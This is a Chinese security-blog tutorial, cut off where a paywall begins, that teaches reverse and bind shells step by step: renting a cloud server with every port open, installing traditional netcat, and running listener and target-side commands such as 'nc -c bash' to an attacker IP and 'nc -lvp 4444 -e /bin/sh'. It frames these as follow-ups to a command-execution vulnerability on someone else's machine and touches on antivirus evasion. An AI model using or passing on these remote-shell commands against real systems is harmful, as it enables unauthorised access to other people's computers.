zero1234
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
引言
学习反弹shell的过程太痛苦,让后人不要那么痛苦,写的文章~
这个文章讲什么?
那就牛逼了,哥们从服务器开始讲,讲如何搭建服务器反弹shell,为什么要搭建服务器,下载反弹shell的命令,如何避免踩坑,什么是正向反向连接,如何通过python、java进行连接,数据包反弹shell用什么命令,Linux和Windows差别。总而言之,言而总之,手把手,心连心,包看懂,包学会,无套路,求珍惜。
涉及知识点
1.如何从搭建服务器开始到反弹Shell
2.如何利用代码进行反弹shell
3.反弹Shell在数据包中为什么要使用base64编码的形式
4.反弹Shell为什么要使用代码进行反弹shell
5.如何在目标服务器上安装代码环境(使用命令行)
6.各种命令面板的区别是什么,为什么要弄清楚?
7.自己是什么权限,权限之间的区别
8.内网如何反弹shell
9.正向连接反向连接
场景提要
文章以下的片段,都是用root权限,也就是管理员的最高权限。
正式开始
知识点一:搭建反弹shell服务器
选择经济型即可
镜像选择Ubuntu,因为在Liunx中个人认为是比较好用。
首先是安全组的设置,新建安全组,随便选一下端口即可(后面还要进行微调)
设置一个密码,选择自定义密码,不要选密钥对,因为方便
创建完成后会跳转到这个页面,点击安全组,就能看到刚刚创建的安全组
直接选择开启全部,别问,问就是省事~
入方向和出方向都要进行设置,问就是省事~
远程连接当然也可以,跳转后输入密码就好了,但不推荐
理由:传文件很麻烦,切换目录的时候也很麻烦,不省事。
所以需要下载一个:
记得下载中文版的~
为什么不给下载链接,因为我也想省事~
下载以后就很简单了,直接跟着做就好
远程主机写什么?服务器的公网IP
记得写的是公有的不是私有的。
输入刚刚设置的密码。
成功登录了。
想要进行基础的反弹shell嘛?简单!但要先做一些战前准备。
sudo apt remove netcat-openbsd # 卸载 OpenBSD 版本
sudo apt install netcat-traditional # 安装传统版本(支持 -e 参数)
执行这两个命令即可。如何验证是否成功安装呢?
首先需要先执行,nc -version
这样的结果,就不是我们需要的反弹shell的命令
sudo apt remove netcat-openbsd # 卸载 OpenBSD 版本
我这里是加了-y,没加-y也就是多了一个问题,问你要不要删除,删除yes摇头no~
sudo apt install netcat-traditional
然后发现查不到版本是不是很慌
你管他呢,直接就是一个命令:nc -l -vp 8080
ok了,命令齐活了~
nonon不一定,还需要输入nc试试:
像这样出现Cmd line才能保证你的nc下载的是对的。
如果不对,那么就要先执行这两个命令:
sudo rm /usr/bin/nc
which nc# 应返回 "nc not found"
再执行:
sudo apt remove netcat-openbsd # 卸载 OpenBSD 版本
sudo apt install netcat-traditional # 安装传统版本(支持 -e 参数)
nc命令就成功下载了。剩下就可以利用它去上线了,怎么上线?
插一嘴:反弹Shell不是分为反向正向嘛,理解起来就头疼,奇奇怪怪弯弯绕绕,其实就是一个很简单的事情。
攻击机(你的电脑,你的服务器)去连接别人(被攻击的电脑、服务器),就是正向
别人(被攻击的电脑、服务器)去连接攻击机(你的电脑,你的服务器),就是反向
然后就有小白师傅问了,别人怎么可能会主动去连接你的电脑呢?
执行命令漏洞懂吧,反弹shell这个东西都是有执行命令的前提下的,你不能执行命令,你怎么反弹shell,它一定是在一个你挖到了别人的漏洞,那个漏洞正好是可以执行命令的漏洞,你才能开始执行反弹shell,听懂yes摇头no!!!!!!
我自己开了一台电脑,你也别管什么真实机虚拟机的,那玩意没影响。
(或者就是最好你再开一台Ubuntn的服务器,这样可以把其他因素,什么防火墙配置啊,什么虚拟机配置,这种乱七八糟的变量给控制为0,重复上面下载命令的操作)
知识点二:基础反弹shell演示
那么我们正式演示反弹shell
阿里云服务器先执行:nc -l -vp 8080
被攻击的机子执行:nc -c bash8.138.105.798080
成功上线。简单不简单。
那么有人问了,主播主播,我不理解命令怎么办?
nc -l -vp 7777
nc -c bash8.138.105.797777
端口 7777 你可以改成你喜欢的,但要保证两个命令一致,8.138.105.79这个IP要记得使用攻击机的IP,比如我这里的攻击机是阿里云服务器,8.138.105.79就是阿里云服务器的ip
命令都是些啥意思呀?
nc -l -vp 7777 -- 监听自身的7777端口,要确保7777端口开放,还记得之前为什么让你们选择全部端口开放吗?
因为不开放就无法使用。
nc -c bash8.138.105.797777 -- 去连接目标服务器
那这个是什么连接?这就是反向连接!我监听我自己的,等目标服务器连接我,我是被动的,就叫反向,就这么简单。
那么正向是咋样的?首先命令是不同的
nc -lvp 4444 -e /bin/sh
nc 10.0.78.41 4444
值得注意的是,正向连接是无法用内网机子进行连接的。(后面会进行解释)
nc -lvp 4444 -e /bin/sh目标机子(被攻击的机子)
攻击机子
首先通过查询,查询到被攻击的机子的公网ip是:112.96.87.184
那么通过这个nc 112.96.87.184 4444去连接
连的上吗?
连不上!
为什么连不上,概念:外网机子找不到内网,内网机子找的到外网。
内网外网一听就头疼:
简单,你在你本地搭建一个网站,一个靶场,你让你朋友访问一下试试,他能访问到吗?访问不到,这就是内网。
别人搭建了一个在线靶场,(你)你朋友去访问,诶能访问到,这就是外网(公网)。
这就是概念,简单吧,第三个概念。
你朋友(内网)能访问到在线靶场(外网),相当于什么?相当于内网去找外网,对吧?能访问到说明什么?
内找外,能找到。从内网连接外网,是ok的。
搭建了一个在线靶场的那个服务器的人,变成了你的朋友,你朋友去访问你搭建在本地上的网站。相当于什么?
相当于外网去找内网,对吧?那么所以外找内,找不到。从外网去连接内网的机器,是找不到的!
还不理解,就可以通过命令的差异进行一个理解。看看反向和正向的命令的一个差距。
那么概括一下就很简单了
正向连接:其实目标(被攻击)主动开放了一个端口,这个端口上放着权限,我们去拿这个权限
反向连接,目标(被攻击)这次没有开放端口了,但它将权限拿在手上,主动的交给我们监听的端口
这就是为什么反弹shell,我们在对内网目标的时候,使用的是反向连接,在对外网目标的时候,用的是正向连接的原因。其实实际的测试中,都用就是最好的了~
主播主播这么命令复杂,我记不住怎么办?
关于正向反向连接的其实是有命令进行生成的,推荐去这个网站
https://forum.ywhack.com/shell.php
好了好了结束了,累了!
嘿嘿骗你的~
知识点三:如何利用代码反弹shell
代码执行反弹shell,第一个条件是什么?当然是下载对应的代码啦。
首先是那这个就比较有用了,也是重点之一。
为什么呢?
Windows如果要进行反弹shell,是要下载你的反弹shell命令的,它不像Linux,可以直接下载。
而且,在Windows中,是有自身的防护的,你要进行反弹shell,那么你需要保证你的软件是免杀的,至少不会被自带的杀软给过滤的。
当然,这就是涉及到安全开发免杀这一块了,我们这里只讲如何上线,保证大家能够每一步都是顺利的,正确的,进行一个上线。
Linux上,如何用java代码进行上线。
自动安装ubuntu18系统下载运行
apt-get update
sudo apt install-yopenjdk-11-jre-headless
sudo apt install -y openjdk-11-jdk
手动解压安装
tar -xzvf jdk-13.0.2_linux-x64_bin.tar.gz
cd jdk-13.0.2/
pwd
vim /etc/profile
export JAVA_HOME=/root/jdk-13.0.2
export CLASSPATH=$:CLASSPATH:$JAVA_HOME/lib/ export PATH=$PATH:$JAVA_HOME/bin
source /etc/profile
分别可以自动下载,与收到解压包后的下载方式,这也就是我为什么用Ubuntu演示的原因,无他,方便而已~
为什么要有这个-y呢?因为这个-y可以在我们没有拿到shell,只是执行命令的时候不会被卡住。
他表示同意,如果你不输入-y。那么它就会进行一次询问,从而卡住~
java --version
有消息就表示安装好了
当然,可能有人执行apt-get update会有报错:
那么你可以输入一下这一段,再进行执行试试
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 32EE5355A6BC6E42
小插曲小插曲,过了以后呢,那么就有人说了我如何将一个java
畅读付费文章
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)